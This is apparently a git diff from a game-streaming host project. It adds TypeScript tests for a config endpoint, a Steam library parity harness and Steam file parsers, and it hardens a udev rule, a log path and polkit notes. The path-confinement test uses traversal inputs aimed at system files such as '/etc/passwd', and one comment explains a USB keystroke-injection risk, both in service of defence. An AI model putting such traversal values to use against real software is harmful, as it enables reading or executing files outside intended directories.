// Every field here either has a decoding default or is optionalKey, so nothing is required.
|
||||
expect(doc.schema.required ?? []).toEqual([]);
|
||||
});
|
||||
});
|
||||
|
||||
describe("__config wire contract", () => {
|
||||
const withService = async <A>(
|
||||
use: (handler: (req: Request) => Promise<Response>, file: string) => Promise<A>,
|
||||
): Promise<A> => {
|
||||
const dir = fs.mkdtempSync(path.join(os.tmpdir(), "pf-kit-cfg-"));
|
||||
const prev = process.env.PUNKTFUNK_CONFIG_DIR;
|
||||
process.env.PUNKTFUNK_CONFIG_DIR = dir;
|
||||
try {
|
||||
const service = await Effect.runPromise(
|
||||
makeConfigService({ schema: ScannerConfig }).pipe(
|
||||
Effect.provide(
|
||||
Layer.mergeAll(pluginInfoLayer({ name: "steam", version: "0.1.0" })),
|
||||
),
|
||||
),
|
||||
);
|
||||
return await use(
|
||||
makeConfigHandler({ schema: ScannerConfig, service }),
|
||||
service.path,
|
||||
);
|
||||
} finally {
|
||||
if (prev === undefined) delete process.env.PUNKTFUNK_CONFIG_DIR;
|
||||
else process.env.PUNKTFUNK_CONFIG_DIR = prev;
|
||||
fs.rmSync(dir, { recursive: true, force: true });
|
||||
}
|
||||
};
|
||||
|
||||
test("GET answers {schema, value} with an absent file reading as empty", async () => {
|
||||
await withService(async (handler) => {
|
||||
const res = await handler(new Request("http://x/__config"));
|
||||
expect(res.status).toBe(200);
|
||||
const body = (await res.json()) as { schema: unknown; value: unknown };
|
||||
// Both keys are ALWAYS present and never `undefined` — the console decodes this shape,
|
||||
// and an omitted-vs-null field is the wire trap that bit the rom-manager 0.3.1 release.
|
||||
expect(body).toHaveProperty("schema");
|
||||
expect(body).toHaveProperty("value");
|
||||
expect(body.schema).not.toBeNull();
|
||||
// A missing config file is an EMPTY config, not an error.
|
||||
expect(body.value).toEqual({});
|
||||
});
|
||||
});
|
||||
|
||||
test("PUT validates by decode, persists RAW, and never bakes in defaults", async () => {
|
||||
await withService(async (handler, file) => {
|
||||
const res = await handler(
|
||||
new Request("http://x/__config", {
|
||||
method: "PUT",
|
||||
body: JSON.stringify({ enabled: false }),
|
||||
}),
|
||||
);
|
||||
expect(res.status).toBe(200);
|
||||
// The file holds exactly what was authored — the five defaulted fields are NOT written,
|
||||
// which is what keeps a future change to a default from being silently pinned.
|
||||
expect(JSON.parse(fs.readFileSync(file, "utf8"))).toEqual({
|
||||
enabled: false,
|
||||
});
|
||||
const get = (await (
|
||||
await handler(new Request("http://x/__config"))
|
||||
).json()) as { value: unknown };
|
||||
expect(get.value).toEqual({ enabled: false });
|
||||
});
|
||||
});
|
||||
|
||||
test("PUT rejects a body the schema refuses, with the issue, and writes nothing", async () => {
|
||||
await withService(async (handler, file) => {
|
||||
const res = await handler(
|
||||
new Request("http://x/__config", {
|
||||
method: "PUT",
|
||||
body: JSON.stringify({ enabled: "yes please" }),
|
||||
}),
|
||||
);
|
||||
expect(res.status).toBe(400);
|
||||
const body = (await res.json()) as { error: string; issue: string };
|
||||
expect(body.error).toBe("config rejected");
|
||||
expect(body.issue.length).toBeGreaterThan(0);
|
||||
expect(fs.existsSync(file)).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
test("PUT rejects a non-JSON body", async () => {
|
||||
await withService(async (handler) => {
|
||||
const res = await handler(
|
||||
new Request("http://x/__config", { method: "PUT", body: "not json" }),
|
||||
);
|
||||
expect(res.status).toBe(400);
|
||||
expect(((await res.json()) as { error: string }).error).toBe(
|
||||
"body must be JSON",
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
test("other methods are refused", async () => {
|
||||
await withService(async (handler) => {
|
||||
const res = await handler(
|
||||
new Request("http://x/__config", { method: "DELETE" }),
|
||||
);
|
||||
expect(res.status).toBe(405);
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,186 @@
|
||||
// The parity harness is the release gate for every extracted scanner, so the thing that decides
|
||||
// pass/fail needs its own tests. The cases below are the ones that actually happen during a port:
|
||||
// a lost title, a wrong id, a dropped launch recipe, art whose representation changed but whose
|
||||
// presence didn't, and the launcher entries the plugin legitimately adds.
|
||||
import { describe, expect, test } from "bun:test";
|
||||
import {
|
||||
claimedLibraryId,
|
||||
diffParity,
|
||||
formatParityReport,
|
||||
fromHostEntry,
|
||||
fromProviderEntry,
|
||||
type HostGameEntry,
|
||||
} from "../src/library/parity.js";
|
||||
import type { ProviderEntry } from "../src/wire.js";
|
||||
|
||||
/** What the host reports while its BUILT-IN steam scanner is producing the library. */
|
||||
const hostEntry = (over: Partial<HostGameEntry> = {}): HostGameEntry => ({
|
||||
id: "steam:440",
|
||||
store: "steam",
|
||||
title: "Team Fortress 2",
|
||||
launch: { kind: "steam_appid", value: "440" },
|
||||
// The scanner emits host-relative proxy paths the CLIENT resolves.
|
||||
art: {
|
||||
portrait: "/api/v1/library/art/steam:440/portrait",
|
||||
hero: "/api/v1/library/art/steam:440/hero",
|
||||
logo: null,
|
||||
header: "/api/v1/library/art/steam:440/header",
|
||||
},
|
||||
platform: "PC",
|
||||
...over,
|
||||
});
|
||||
|
||||
/** What the extracted plugin produces for the same title. */
|
||||
const pluginEntry = (over: Partial<ProviderEntry> = {}): ProviderEntry =>
|
||||
({
|
||||
external_id: "440",
|
||||
title: "Team Fortress 2",
|
||||
launch: { kind: "steam_appid", value: "440" },
|
||||
// The plugin emits file:// paths and CDN URLs — a DIFFERENT representation of the same art.
|
||||
art: {
|
||||
portrait: "file:///home/u/.steam/appcache/librarycache/440/a/p.jpg",
|
||||
hero: "https://cdn.cloudflare.steamstatic.com/steam/apps/440/library_hero.jpg",
|
||||
header: "https://cdn.cloudflare.steamstatic.com/steam/apps/440/header.jpg",
|
||||
},
|
||||
platform: "PC",
|
||||
...over,
|
||||
}) as ProviderEntry;
|
||||
|
||||
describe("id mapping", () => {
|
||||
test("a claimed entry's id is the scanner's id", () => {
|
||||
// The whole migration rests on this one line: Moonlight pins, GameStream app ids and client
|
||||
// art caches are all derived from it.
|
||||
expect(claimedLibraryId("steam", "440")).toBe("steam:440");
|
||||
expect(claimedLibraryId("heroic", "legendary:Quail")).toBe(
|
||||
"heroic:legendary:Quail",
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("diffParity", () => {
|
||||
const base = [fromHostEntry(hostEntry())];
|
||||
|
||||
test("a faithful port passes, even though the art VALUES all changed", () => {
|
||||
const r = diffParity(base, [fromProviderEntry("steam", pluginEntry())]);
|
||||
expect(r.ok).toBe(true);
|
||||
expect(r.matched).toBe(1);
|
||||
expect(r.changed).toEqual([]);
|
||||
expect(formatParityReport(r)).toContain("parity OK");
|
||||
});
|
||||
|
||||
test("a lost title is reported as missing", () => {
|
||||
const r = diffParity(base, []);
|
||||
expect(r.ok).toBe(false);
|
||||
expect(r.missing.map((e) => e.id)).toEqual(["steam:440"]);
|
||||
expect(formatParityReport(r)).toContain("missing: steam:440");
|
||||
});
|
||||
|
||||
test("a wrong id shows up as BOTH missing and extra — the loudest failure", () => {
|
||||
// The exact shape of the bug this harness exists to catch: the plugin found the title, but
|
||||
// under an id nothing downstream recognizes.
|
||||
const r = diffParity(base, [
|
||||
fromProviderEntry("steam", pluginEntry({ external_id: "440.0" })),
|
||||
]);
|
||||
expect(r.ok).toBe(false);
|
||||
expect(r.missing.map((e) => e.id)).toEqual(["steam:440"]);
|
||||
expect(r.extra.map((e) => e.id)).toEqual(["steam:440.0"]);
|
||||
});
|
||||
|
||||
test("a changed launch recipe is caught", () => {
|
||||
const r = diffParity(base, [
|
||||
fromProviderEntry(
|
||||
"steam",
|
||||
pluginEntry({ launch: { kind: "command", value: "steam" } }),
|
||||
),
|
||||
]);
|
||||
expect(r.ok).toBe(false);
|
||||
expect(r.changed).toEqual([
|
||||
{
|
||||
id: "steam:440",
|
||||
field: "launch",
|
||||
before: "steam_appid:440",
|
||||
after: "command:steam",
|
||||
},
|
||||
]);
|
||||
});
|
||||
|
||||
test("a dropped launch recipe is caught (an unlaunchable tile)", () => {
|
||||
const r = diffParity(base, [
|
||||
fromProviderEntry("steam", pluginEntry({ launch: null })),
|
||||
]);
|
||||
expect(r.changed.map((c) => c.field)).toEqual(["launch"]);
|
||||
});
|
||||
|
||||
test("LOSING an art kind fails; gaining one does not", () => {
|
||||
const lost = diffParity(base, [
|
||||
fromProviderEntry("steam", pluginEntry({ art: { portrait: null } })),
|
||||
]);
|
||||
expect(lost.ok).toBe(false);
|
||||
expect(lost.changed.map((c) => c.field)).toContain("art.portrait");
|
||||
|
||||
// The baseline had no logo; the plugin resolves one. That is an improvement, and failing the
|
||||
// run over it would only train people to ignore the harness.
|
||||
const gained = diffParity(base, [
|
||||
fromProviderEntry(
|
||||
"steam",
|
||||
pluginEntry({
|
||||
art: { ...pluginEntry().art, logo: "file:///l.png" },
|
||||
}),
|
||||
),
|
||||
]);
|
||||
expect(gained.ok).toBe(true);
|
||||
});
|
||||
|
||||
test("metadata drift is caught, but absent-vs-empty is not drift", () => {
|
||||
const changed = diffParity(base, [
|
||||
fromProviderEntry("steam", pluginEntry({ platform: "Linux" })),
|
||||
]);
|
||||
expect(changed.changed).toEqual([
|
||||
{ id: "steam:440", field: "meta.platform", before: "PC", after: "Linux" },
|
||||
]);
|
||||
// The host omits empty lists and nulls; a plugin sending them has changed nothing.
|
||||
const noise = diffParity(base, [
|
||||
fromProviderEntry(
|
||||
"steam",
|
||||
pluginEntry({ genres: [], tags: [], region: null } as never),
|
||||
),
|
||||
]);
|
||||
expect(noise.ok).toBe(true);
|
||||
});
|
||||
|
||||
test("launcher entries are expected extras, not failures", () => {
|
||||
// The built-in scanner had no concept of a launcher entry, so it can never be in the
|
||||
// baseline — reporting it as `extra` would fail every steam run forever.
|
||||
const r = diffParity(base, [
|
||||
fromProviderEntry("steam", pluginEntry()),
|
||||
fromProviderEntry(
|
||||
"steam",
|
||||
pluginEntry({
|
||||
external_id: "ui:bigpicture",
|
||||
title: "Steam Big Picture",
|
||||
role: "launcher",
|
||||
launch: { kind: "steam_ui", value: "bigpicture" },
|
||||
art: {},
|
||||
} as never),
|
||||
),
|
||||
]);
|
||||
expect(r.ok).toBe(true);
|
||||
expect(r.extra).toEqual([]);
|
||||
expect(r.launchersAdded.map((e) => e.id)).toEqual(["steam:ui:bigpicture"]);
|
||||
expect(formatParityReport(r)).toContain("+1 launcher entry");
|
||||
});
|
||||
|
||||
test("an ordinary title the scanner never had IS a failure", () => {
|
||||
// The mirror of the case above: only `role: "launcher"` gets the exemption, so a plugin that
|
||||
// invents games (a bad filter, a tool listed as a game) still fails.
|
||||
const r = diffParity(base, [
|
||||
fromProviderEntry("steam", pluginEntry()),
|
||||
fromProviderEntry(
|
||||
"steam",
|
||||
pluginEntry({ external_id: "228980", title: "Steamworks Common" }),
|
||||
),
|
||||
]);
|
||||
expect(r.ok).toBe(false);
|
||||
expect(r.extra.map((e) => e.id)).toEqual(["steam:228980"]);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,289 @@
|
||||
// The parser ports, tested against the SAME cases the host's Rust scanners pin.
|
||||
//
|
||||
// These are not "does TypeScript work" tests. The formats here are undocumented and the host's
|
||||
// versions are the reference implementation; a port that drifts produces a library that looks fine
|
||||
// and launches nothing. Where a Rust test exists, its assertions are carried over verbatim — the
|
||||
// per-plugin parity harness (design M5) then checks the whole pipeline against a live host, but
|
||||
// these catch a drift long before that.
|
||||
import { describe, expect, test } from "bun:test";
|
||||
import * as fs from "node:fs";
|
||||
import * as os from "node:os";
|
||||
import * as path from "node:path";
|
||||
import {
|
||||
confinedJoin,
|
||||
crc32,
|
||||
findGridArtFile,
|
||||
findLocalArtFile,
|
||||
fileUrl,
|
||||
gridFilenames,
|
||||
isSteamTool,
|
||||
parseAppManifest,
|
||||
parseRegQuery,
|
||||
parseShortcuts,
|
||||
readTextCapped,
|
||||
shortcutAppId,
|
||||
shortcutGameId,
|
||||
steamCdnUrl,
|
||||
vdfPaths,
|
||||
vdfValue,
|
||||
} from "../src/library/parsers/index.js";
|
||||
|
||||
const tmp = (name: string): string => {
|
||||
const dir = path.join(os.tmpdir(), `pf-kit-${name}-${process.pid}`);
|
||||
fs.mkdirSync(dir, { recursive: true });
|
||||
return dir;
|
||||
};
|
||||
|
||||
describe("text VDF / ACF", () => {
|
||||
test("vdfValue extracts a quoted field", () => {
|
||||
expect(vdfValue('"path"\t\t"/mnt/games/SteamLibrary"', "path")).toBe(
|
||||
"/mnt/games/SteamLibrary",
|
||||
);
|
||||
expect(vdfValue('"appid"\t\t"570"', "appid")).toBe("570");
|
||||
expect(vdfValue('"name"\t\t"Dota 2"', "name")).toBe("Dota 2");
|
||||
// Wrong key → nothing (a prefix match must not leak the neighbouring field).
|
||||
expect(vdfValue('"installdir"\t\t"x"', "appid")).toBeUndefined();
|
||||
});
|
||||
|
||||
test("vdfPaths pulls every library folder and unescapes Windows separators", () => {
|
||||
const vdf = `
|
||||
"libraryfolders"
|
||||
{
|
||||
"0"
|
||||
{
|
||||
"path" "/home/u/.local/share/Steam"
|
||||
"label" ""
|
||||
}
|
||||
"1"
|
||||
{
|
||||
"path" "D:\\\\SteamLibrary"
|
||||
}
|
||||
}`;
|
||||
expect(vdfPaths(vdf)).toEqual([
|
||||
"/home/u/.local/share/Steam",
|
||||
"D:\\SteamLibrary",
|
||||
]);
|
||||
});
|
||||
|
||||
test("parseAppManifest reads the flat fields it needs", () => {
|
||||
const acf = `"AppState"
|
||||
{
|
||||
"appid" "570"
|
||||
"name" "Dota 2"
|
||||
"installdir" "dota 2 beta"
|
||||
}`;
|
||||
expect(parseAppManifest(acf)).toEqual({
|
||||
appid: 570,
|
||||
name: "Dota 2",
|
||||
installdir: "dota 2 beta",
|
||||
});
|
||||
// A manifest missing the essentials is not a title.
|
||||
expect(parseAppManifest('"AppState" { "name" "x" }')).toBeUndefined();
|
||||
});
|
||||
|
||||
test("isSteamTool keeps runtimes out of a game library", () => {
|
||||
expect(isSteamTool(228980, "Steamworks Common Redistributables")).toBe(true);
|
||||
expect(isSteamTool(1628350, "Steam Linux Runtime 3.0 (sniper)")).toBe(true);
|
||||
expect(isSteamTool(999, "Proton 9.0")).toBe(true);
|
||||
expect(isSteamTool(999, "SteamVR")).toBe(true);
|
||||
expect(isSteamTool(570, "Dota 2")).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("binary shortcuts.vdf", () => {
|
||||
/** Build a binary shortcuts.vdf the way Steam writes one. */
|
||||
const buildShortcuts = (
|
||||
entries: ReadonlyArray<{
|
||||
appid?: number;
|
||||
appname: string;
|
||||
exe: string;
|
||||
hidden?: boolean;
|
||||
}>,
|
||||
): Uint8Array => {
|
||||
const parts: number[] = [];
|
||||
const cstr = (s: string) => {
|
||||
for (const b of new TextEncoder().encode(s)) parts.push(b);
|
||||
parts.push(0);
|
||||
};
|
||||
const i32 = (v: number) => {
|
||||
parts.push(v & 0xff, (v >>> 8) & 0xff, (v >>> 16) & 0xff, (v >>> 24) & 0xff);
|
||||
};
|
||||
parts.push(0x00);
|
||||
cstr("shortcuts");
|
||||
entries.forEach((e, i) => {
|
||||
parts.push(0x00);
|
||||
cstr(String(i));
|
||||
if (e.appid !== undefined) {
|
||||
parts.push(0x02);
|
||||
cstr("appid");
|
||||
i32(e.appid);
|
||||
}
|
||||
parts.push(0x01);
|
||||
cstr("AppName");
|
||||
cstr(e.appname);
|
||||
parts.push(0x01);
|
||||
cstr("Exe");
|
||||
cstr(e.exe);
|
||||
parts.push(0x02);
|
||||
cstr("IsHidden");
|
||||
i32(e.hidden ? 1 : 0);
|
||||
// A nested map the parser must skip wholesale.
|
||||
parts.push(0x00);
|
||||
cstr("tags");
|
||||
parts.push(0x01);
|
||||
cstr("0");
|
||||
cstr("favourite");
|
||||
parts.push(0x08);
|
||||
parts.push(0x08); // end of this shortcut
|
||||
});
|
||||
parts.push(0x08); // end of shortcuts
|
||||
parts.push(0x08); // end of document
|
||||
return new Uint8Array(parts);
|
||||
};
|
||||
|
||||
test("parses entries, skips nested maps, and reads the hidden flag", () => {
|
||||
const buf = buildShortcuts([
|
||||
{ appid: 2456789012, appname: "My Emulator", exe: '"/usr/bin/foo"' },
|
||||
{ appid: 3000000000, appname: "Hidden One", exe: '"/x"', hidden: true },
|
||||
]);
|
||||
const got = parseShortcuts(buf);
|
||||
expect(got).toHaveLength(2);
|
||||
expect(got[0]).toMatchObject({
|
||||
appid: 2456789012,
|
||||
name: "My Emulator",
|
||||
hidden: false,
|
||||
});
|
||||
expect(got[1]).toMatchObject({ name: "Hidden One", hidden: true });
|
||||
});
|
||||
|
||||
test("derives the appid when the file omits it", () => {
|
||||
const buf = buildShortcuts([{ appname: "No Appid", exe: '"/usr/bin/x"' }]);
|
||||
const got = parseShortcuts(buf);
|
||||
expect(got).toHaveLength(1);
|
||||
// Derived ids always carry the high bit — that is how a shortcut is told apart from a real
|
||||
// store appid downstream (and why its CDN art fetch is skipped).
|
||||
expect(got[0].appid & 0x8000_0000).not.toBe(0);
|
||||
expect(got[0].appid).toBe(shortcutAppId('"/usr/bin/x"', "No Appid"));
|
||||
});
|
||||
|
||||
test("is total on a truncated or garbled file", () => {
|
||||
expect(parseShortcuts(new Uint8Array([]))).toEqual([]);
|
||||
expect(parseShortcuts(new Uint8Array([0x01, 0x02, 0x03]))).toEqual([]);
|
||||
const good = buildShortcuts([{ appid: 1, appname: "A", exe: "/a" }]);
|
||||
// Every truncation of a valid file must return, not throw.
|
||||
for (let i = 0; i < good.length; i++) {
|
||||
expect(() => parseShortcuts(good.subarray(0, i))).not.toThrow();
|
||||
}
|
||||
});
|
||||
|
||||
test("crc32 matches the IEEE check value", () => {
|
||||
// The canonical CRC-32 check: crc32("123456789") == 0xCBF43926.
|
||||
expect(crc32(new TextEncoder().encode("123456789"))).toBe(0xcbf4_3926);
|
||||
});
|
||||
|
||||
test("shortcutGameId composes the appid and the shortcut marker", () => {
|
||||
// high dword = appid, low dword = 0x02000000. Handing rungameid the bare 32-bit appid does
|
||||
// NOT launch a shortcut, which is the entire reason this function exists.
|
||||
const id = BigInt(shortcutGameId(0x8000_0000));
|
||||
expect(id >> 32n).toBe(0x8000_0000n);
|
||||
expect(id & 0xffff_ffffn).toBe(0x0200_0000n);
|
||||
// Digits only — it rides the `steam_appid` launch kind, which the host validates as digits.
|
||||
expect(shortcutGameId(2_456_789_012)).toMatch(/^\d+$/);
|
||||
});
|
||||
});
|
||||
|
||||
describe("path confinement", () => {
|
||||
test("confinedJoin refuses anything that could escape the install dir", () => {
|
||||
const base = path.join(path.sep, "games", "W3");
|
||||
expect(confinedJoin(base, "bin/game.exe")).toBe(
|
||||
path.join(base, "bin", "game.exe"),
|
||||
);
|
||||
expect(confinedJoin(base, "bin\\game.exe")).toBe(
|
||||
path.join(base, "bin", "game.exe"),
|
||||
);
|
||||
// The three shapes a crafted goggame-*.info would use to point elsewhere.
|
||||
expect(confinedJoin(base, "../../windows/system32/cmd.exe")).toBeUndefined();
|
||||
expect(confinedJoin(base, "/etc/passwd")).toBeUndefined();
|
||||
expect(confinedJoin(base, "C:\\Windows\\system32\\cmd.exe")).toBeUndefined();
|
||||
expect(confinedJoin(base, "")).toBeUndefined();
|
||||
});
|
||||
});
|
||||
|
||||
describe("capped reads", () => {
|
||||
test("readTextCapped refuses an over-cap file and a missing one", () => {
|
||||
const dir = tmp("caps");
|
||||
const small = path.join(dir, "small.txt");
|
||||
fs.writeFileSync(small, "hello");
|
||||
expect(readTextCapped(small)).toBe("hello");
|
||||
expect(readTextCapped(small, 2)).toBeUndefined(); // over the cap
|
||||
expect(readTextCapped(path.join(dir, "nope.txt"))).toBeUndefined();
|
||||
expect(readTextCapped(dir)).toBeUndefined(); // a directory is not a file
|
||||
fs.rmSync(dir, { recursive: true, force: true });
|
||||
});
|
||||
});
|
||||
|
||||
describe("art locations", () => {
|
||||
test("steamCdnUrl skips shortcut appids, which have no CDN entry", () => {
|
||||
expect(steamCdnUrl(570, "header")).toContain("/570/header.jpg");
|
||||
expect(steamCdnUrl(570, "portrait")).toContain("library_600x900.jpg");
|
||||
// The local cache names the header asset differently from the CDN — pinned because it is
|
||||
// the single most common way to get Steam art wrong.
|
||||
expect(steamCdnUrl(570, "header")).not.toContain("library_header");
|
||||
expect(steamCdnUrl(0x8000_0001, "header")).toBeUndefined();
|
||||
});
|
||||
|
||||
test("grid filenames follow Steam's per-kind naming", () => {
|
||||
expect(gridFilenames(570, "portrait")).toEqual(["570p.png", "570p.jpg"]);
|
||||
expect(gridFilenames(570, "hero")).toEqual(["570_hero.png", "570_hero.jpg"]);
|
||||
expect(gridFilenames(570, "logo")).toEqual(["570_logo.png", "570_logo.jpg"]);
|
||||
expect(gridFilenames(570, "header")).toEqual(["570.png", "570.jpg"]);
|
||||
});
|
||||
|
||||
test("finds cached and user-override art on disk", () => {
|
||||
const dir = tmp("art");
|
||||
const hashDir = path.join(dir, "appcache", "librarycache", "570", "abc123");
|
||||
fs.mkdirSync(hashDir, { recursive: true });
|
||||
fs.writeFileSync(path.join(hashDir, "library_600x900.jpg"), "x");
|
||||
expect(findLocalArtFile(dir, 570, "portrait")).toBe(
|
||||
path.join(hashDir, "library_600x900.jpg"),
|
||||
);
|
||||
expect(findLocalArtFile(dir, 570, "hero")).toBeUndefined();
|
||||
|
||||
const cfg = path.join(dir, "userdata", "1", "config");
|
||||
fs.mkdirSync(path.join(cfg, "grid"), { recursive: true });
|
||||
fs.writeFileSync(path.join(cfg, "grid", "570p.jpg"), "x");
|
||||
expect(findGridArtFile(cfg, 570, "portrait")).toBe(
|
||||
path.join(cfg, "grid", "570p.jpg"),
|
||||
);
|
||||
fs.rmSync(dir, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
test("fileUrl produces the host's local-art contract shape", () => {
|
||||
const u = fileUrl(path.join(path.sep, "home", "u", "My Games", "c.jpg"));
|
||||
expect(u.startsWith("file:///")).toBe(true);
|
||||
// Spaces are percent-encoded; the separators survive so the host can rebuild the path.
|
||||
expect(u).toContain("My%20Games");
|
||||
expect(u).toContain("/c.jpg");
|
||||
});
|
||||
});
|
||||
|
||||
describe("reg.exe output", () => {
|
||||
test("parses value rows and leaves the key header alone", () => {
|
||||
const stdout = [
|
||||
"",
|
||||
"HKEY_LOCAL_MACHINE\\SOFTWARE\\WOW6432Node\\Valve\\Steam",
|
||||
" InstallPath REG_SZ C:\\Program Files (x86)\\Steam",
|
||||
" Language REG_SZ english",
|
||||
"",
|
||||
].join("\r\n");
|
||||
expect(parseRegQuery(stdout)).toEqual([
|
||||
{
|
||||
name: "InstallPath",
|
||||
type: "REG_SZ",
|
||||
// Data may contain spaces — only the first two columns are split off.
|
||||
data: "C:\\Program Files (x86)\\Steam",
|
||||
},
|
||||
{ name: "Language", type: "REG_SZ", data: "english" },
|
||||
]);
|
||||
});
|
||||
});
|
||||
@@ -10,5 +10,8 @@
|
||||
"noEmit": true,
|
||||
"types": ["bun"]
|
||||
},
|
||||
"include": ["src", "test"]
|
||||
// `examples` is type-checked but never built: tsconfig.build.json narrows to `src`, and
|
||||
// package.json ships only `dist` + README. A worked example that doesn't compile is worse than
|
||||
// no example, and these are what the first-party scanner repos are cut from.
|
||||
"include": ["src", "test", "examples"]
|
||||
}
|
||||
|
||||
@@ -14,9 +14,19 @@ KERNEL=="uhid", SUBSYSTEM=="misc", OPTIONS+="static_node=uhid", GROUP="input", M
|
||||
# usbip vhci attach/detach for the virtual Steam Deck controller. Steam Input only
|
||||
# adopts the virtual Deck when it arrives as a USB device (usbip/vhci or raw_gadget);
|
||||
# the UHID fallback has no USB interface and Steam ignores it. The sysfs attach files
|
||||
# are root-only by default while the host runs as a user service — grant the `input`
|
||||
# group write when vhci_hcd appears (module autoload: modules-load.d/punktfunk.conf).
|
||||
ACTION=="add", SUBSYSTEM=="platform", KERNEL=="vhci_hcd.*", RUN+="/bin/sh -c 'chgrp input /sys%p/attach /sys%p/detach && chmod 0660 /sys%p/attach /sys%p/detach'"
|
||||
# are root-only by default while the host runs as a user service — grant the dedicated
|
||||
# `punktfunk` group write when vhci_hcd appears (module autoload: modules-load.d/punktfunk.conf).
|
||||
#
|
||||
# ⚠ This is deliberately NOT the `input` group (2026-08-05 review M-4). Writing `attach` hands the
|
||||
# kernel a caller-supplied socket fd and materialises an arbitrary, fully userspace-emulated USB
|
||||
# device — a root-only kernel primitive. Every packaging scriptlet tells the user to
|
||||
# `usermod -aG input $USER` as step 1, so putting it on `input` handed that primitive to a group
|
||||
# people are routinely told to join: a member could present a HID keyboard and inject keystrokes
|
||||
# into a root TTY or the lock screen, or drive any of hundreds of in-tree USB drivers from
|
||||
# userspace, all without CAP_SYS_ADMIN. The uinput/uhid grants above are already systemwide input
|
||||
# injection, but neither reaches kernel USB enumeration — this one does, so it gets its own group
|
||||
# that nothing else asks users to join.
|
||||
ACTION=="add", SUBSYSTEM=="platform", KERNEL=="vhci_hcd.*", RUN+="/bin/sh -c 'chgrp punktfunk /sys%p/attach /sys%p/detach && chmod 0660 /sys%p/attach /sys%p/detach'"
|
||||
|
||||
# hidraw access for the VIRTUAL pads this host creates. Steam/SDL drive a DualSense's rich
|
||||
# feedback (adaptive triggers, lightbar, player LEDs) exclusively over hidraw — the kernel has no
|
||||
|
||||
@@ -52,7 +52,19 @@ fi
|
||||
# it `kwin_wayland --virtual` brings up NO X server at all (no display reserved), and those apps die
|
||||
# with "Missing X Server or $DISPLAY". KWin starts Xwayland on demand but reserves + logs the X11
|
||||
# display up front, which the detection below reads.
|
||||
KWIN_LOG="${TMPDIR:-/tmp}/punktfunk-kwin.log"
|
||||
# The log lives in the per-user 0700 XDG_RUNTIME_DIR, not at a fixed name in a world-writable
|
||||
# /tmp. This file is not just a log: the DISPLAY detection below GREPS it for "Using public X11
|
||||
# display :N" and exports the result, so at a predictable path in a shared directory any local user
|
||||
# could pre-create it (or symlink it) and steer the DISPLAY of a shipped systemd service
|
||||
# (2026-08-05 review L-15). `pf-vdisplay` already resolves XDG_RUNTIME_DIR for its own paths; this
|
||||
# matches. Without a runtime dir, fall back to a private mktemp rather than a guessable name.
|
||||
if [[ -n "${XDG_RUNTIME_DIR:-}" && -d "${XDG_RUNTIME_DIR}" ]]; then
|
||||
KWIN_LOG="${XDG_RUNTIME_DIR}/punktfunk-kwin.log"
|
||||
: >"$KWIN_LOG"
|
||||
chmod 600 "$KWIN_LOG"
|
||||
else
|
||||
KWIN_LOG="$(mktemp -t punktfunk-kwin.XXXXXXXX.log)"
|
||||
fi
|
||||
kwin_wayland --virtual --xwayland --width "$W" --height "$H" --no-lockscreen \
|
||||
--socket "$WAYLAND_DISPLAY" >"$KWIN_LOG" 2>&1 &
|
||||
KWIN_PID=$!
|
||||
|
||||
@@ -11,7 +11,14 @@
|
||||
grant is scoped to the box's own local-seat session lifecycle — the same class of operation
|
||||
these distros already authorize for their session switcher (e.g. Nobara's
|
||||
os-session-select, allow_any). allow_any because the host commonly runs sessionless (a
|
||||
lingering user unit, no polkit agent), where interactive auth can never be answered. -->
|
||||
lingering user unit, no polkit agent), where interactive auth can never be answered.
|
||||
|
||||
⚠ These defaults authorize every local subject — including a seatless ssh session or a
|
||||
service account — so they are NOT the whole authorization story (2026-08-05 review L-14).
|
||||
They cannot be tightened without breaking the lingering-user-unit deployment, which polkit
|
||||
classifies under allow_any precisely because it has no session. The actual gate is in the
|
||||
helper: pf-dm-helper refuses any caller whose PKEXEC_UID is not in the `punktfunk` group.
|
||||
Keep the two in step — loosening the helper's check makes these defaults load-bearing. -->
|
||||
<action id="io.unom.punktfunk.dm-helper">
|
||||
<description>Stop or restore the display manager for a Punktfunk stream</description>
|
||||
<message>Authentication is required to switch the display manager for a Punktfunk stream</message>
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user